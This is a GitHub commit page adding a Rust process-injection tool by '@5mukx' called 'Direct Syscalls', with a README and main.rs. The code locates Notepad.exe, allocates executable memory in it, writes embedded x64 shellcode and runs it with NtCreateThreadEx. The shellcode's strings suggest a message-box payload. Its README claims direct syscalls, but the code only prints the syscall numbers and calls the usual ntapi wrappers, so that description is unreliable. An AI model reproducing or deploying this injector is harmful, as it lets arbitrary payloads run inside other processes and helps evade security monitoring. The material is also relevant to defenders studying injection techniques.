Skip to content

Commit bcf8baf

Browse files
committed
Syscalls
Direct Syscalls
1 parent bbf3087 commit bcf8baf

File tree

4 files changed

+241
-0
lines changed

4 files changed

+241
-0
lines changed

syscalls/direct_syscalls/Cargo.toml

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
[package]
2+
name = "direct_syscalls"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
8+
ntapi = "0.4.1"

syscalls/direct_syscalls/README.md

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
## Direct Syscalls
2+
3+
![Direct Syscalls](./direct_syscalls.png)
4+
5+
### Working Methodology
6+
7+
Uses ntdll.dll and GetProcAddress to fetch syscall numbers for injection.
8+
9+
Allocates memory in the target process, writes shellcode, and executes it using NtCreateThreadEx.
10+
11+
## Credits
12+
13+
* https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
14+
* https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
15+
16+
By [@5mukx](https://x.com/5mukx)
446 KB
Loading

syscalls/direct_syscalls/src/main.rs

+217
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
/*
2+
Direct Syscalls
3+
Author: @5mukx
4+
*/
5+
use std::ffi::{CString, OsString};
6+
use std::ptr::null_mut;
7+
use std::os::windows::ffi::OsStrExt;
8+
9+
use ntapi::ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory};
10+
use ntapi::ntpsapi::NtCreateThreadEx;
11+
use winapi::ctypes::c_void;
12+
use winapi::shared::ntstatus::STATUS_SUCCESS;
13+
use winapi::um::errhandlingapi::GetLastError;
14+
use winapi::um::handleapi::CloseHandle;
15+
use winapi::um::libloaderapi::{GetModuleHandleW, GetProcAddress};
16+
use winapi::um::processthreadsapi::OpenProcess;
17+
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};
18+
19+
// wide string into cosnt *u16 (eg. ntdll.dll)
20+
fn wide_string(s: &str) -> Vec<u16>{
21+
OsString::from(s).encode_wide().chain(std::iter::once(0)).collect()
22+
}
23+
24+
fn get_ssn(function_name: &str) -> Option<u32>{
25+
unsafe{
26+
let module_name = GetModuleHandleW(
27+
wide_string("ntdll.dll").as_ptr()
28+
);
29+
30+
if module_name.is_null(){
31+
println!("Failed to load ntdll.dll");
32+
return None;
33+
}
34+
35+
let proc_name = {
36+
CString::new(function_name).unwrap()
37+
};
38+
39+
let func_address = GetProcAddress(
40+
module_name,
41+
// proc_name.as_ptr()
42+
proc_name.as_ptr()
43+
);
44+
45+
if func_address.is_null(){
46+
println!("Failed to find {:?}", func_address);
47+
return None;
48+
}
49+
50+
Some(*(func_address.offset(4) as *const u8) as u32)
51+
}
52+
}
53+
54+
// new method to get pid by its name
55+
fn get_pid(process_name: &str) -> u32{
56+
unsafe{
57+
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
58+
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
59+
60+
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
61+
if snap.is_null(){
62+
println!("Error while snapshoting processes : Error : {}",GetLastError());
63+
std::process::exit(0);
64+
}
65+
66+
let mut pid = 0;
67+
68+
let mut result = Process32First(snap, &mut pe) != 0;
69+
70+
while result{
71+
72+
let exe_file = CString::from_vec_unchecked(pe.szExeFile
73+
.iter()
74+
.map(|&file| file as u8)
75+
.take_while(|&c| c!=0)
76+
.collect::<Vec<u8>>(),
77+
);
78+
79+
if exe_file.to_str().unwrap() == process_name {
80+
pid = pe.th32ProcessID;
81+
break;
82+
}
83+
result = Process32Next(snap, &mut pe) !=0;
84+
}
85+
86+
if pid == 0{
87+
println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
88+
std::process::exit(0);
89+
}
90+
91+
CloseHandle(snap);
92+
pid
93+
}
94+
}
95+
96+
// direct syscall injection
97+
fn direct_syscall_injector(payload: &[u8], process_name: &str) -> Result<(), String>{
98+
unsafe{
99+
// testing windows 10 => notepad.exe win11 => Notepad.exe
100+
let target_pid = get_pid(process_name);
101+
102+
let process = OpenProcess(
103+
0x000F0000 | 0x00100000 | 0xFFFF, //PROCESS_ALL_ACCESS,
104+
0,
105+
target_pid,
106+
);
107+
108+
if process.is_null(){
109+
return Err("Failed to open target process".to_string());
110+
}
111+
112+
let mut remote_buffer: *mut c_void = null_mut();
113+
let alloc_size = payload.len();
114+
115+
let nt_allocate_virtual_memory = get_ssn("NtAllocateVirtualMemory").unwrap();
116+
println!("SSN for NtAllocateVirtualMemory: {}", nt_allocate_virtual_memory);
117+
118+
let nt_allocate_status = NtAllocateVirtualMemory(
119+
process,
120+
&mut remote_buffer as *mut _ as *mut _,
121+
0,
122+
&mut (alloc_size as usize) as *mut usize,
123+
0x2000 | 0x1000, // MEM_RESERVE || MEM_COMMIT
124+
0x40 // PAGE_EXECUTE_READWRITE,
125+
);
126+
127+
if nt_allocate_status != 0x00000000{
128+
return Err("NtAllocateVirtualMemory failed".to_string());
129+
}
130+
131+
println!("Allocation status: {}", nt_allocate_status);
132+
133+
let mut bytes_written = 0;
134+
let nt_write_virtual_memory = get_ssn("NtWriteVirtualMemory").unwrap();
135+
println!("SSN for NtWriteVirtualMemory: {}", nt_write_virtual_memory);
136+
137+
let nt_write_status = NtWriteVirtualMemory(
138+
process,
139+
remote_buffer,
140+
payload.as_ptr() as *mut c_void,
141+
payload.len(),
142+
&mut bytes_written,
143+
);
144+
145+
println!("NtWriteVirtualMemory mapping address: {:?}", nt_write_status);
146+
147+
if nt_write_status != 0x00000000 {
148+
return Err("NtWriteVirtualMemory failed".to_string());
149+
}
150+
151+
let mut h_thread: *mut c_void = null_mut();
152+
let nt_create_thread_ex = get_ssn("NtCreateThreadEx").unwrap();
153+
println!("SSN for NtCreateThreadEx: {}", nt_create_thread_ex);
154+
155+
156+
let nt_create_status = NtCreateThreadEx(
157+
&mut h_thread,
158+
winapi::um::winnt::THREAD_ALL_ACCESS,
159+
null_mut(),
160+
process,
161+
std::mem::transmute(remote_buffer),
162+
null_mut(),
163+
0,
164+
0,
165+
0,
166+
0,
167+
null_mut(),
168+
);
169+
170+
if nt_create_status != STATUS_SUCCESS {
171+
return Err("NtCreateThreadEx failed".to_string());
172+
}
173+
174+
println!("Created Thread: {}", nt_create_status);
175+
176+
Ok(())
177+
}
178+
}
179+
180+
fn main(){
181+
let payload:[u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
182+
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
183+
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
184+
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
185+
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
186+
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
187+
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
188+
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
189+
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
190+
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
191+
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
192+
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
193+
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
194+
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
195+
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
196+
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
197+
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
198+
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
199+
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
200+
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
201+
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
202+
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
203+
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
204+
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
205+
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
206+
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
207+
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
208+
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 ];
209+
210+
let process_name = "Notepad.exe";
211+
212+
match direct_syscall_injector(&payload, &process_name) {
213+
Ok(_) => println!("Injection Successful"),
214+
Err(e) => eprintln!("Injection failed: {}", e),
215+
}
216+
217+
}

0 commit comments

Comments
 (0)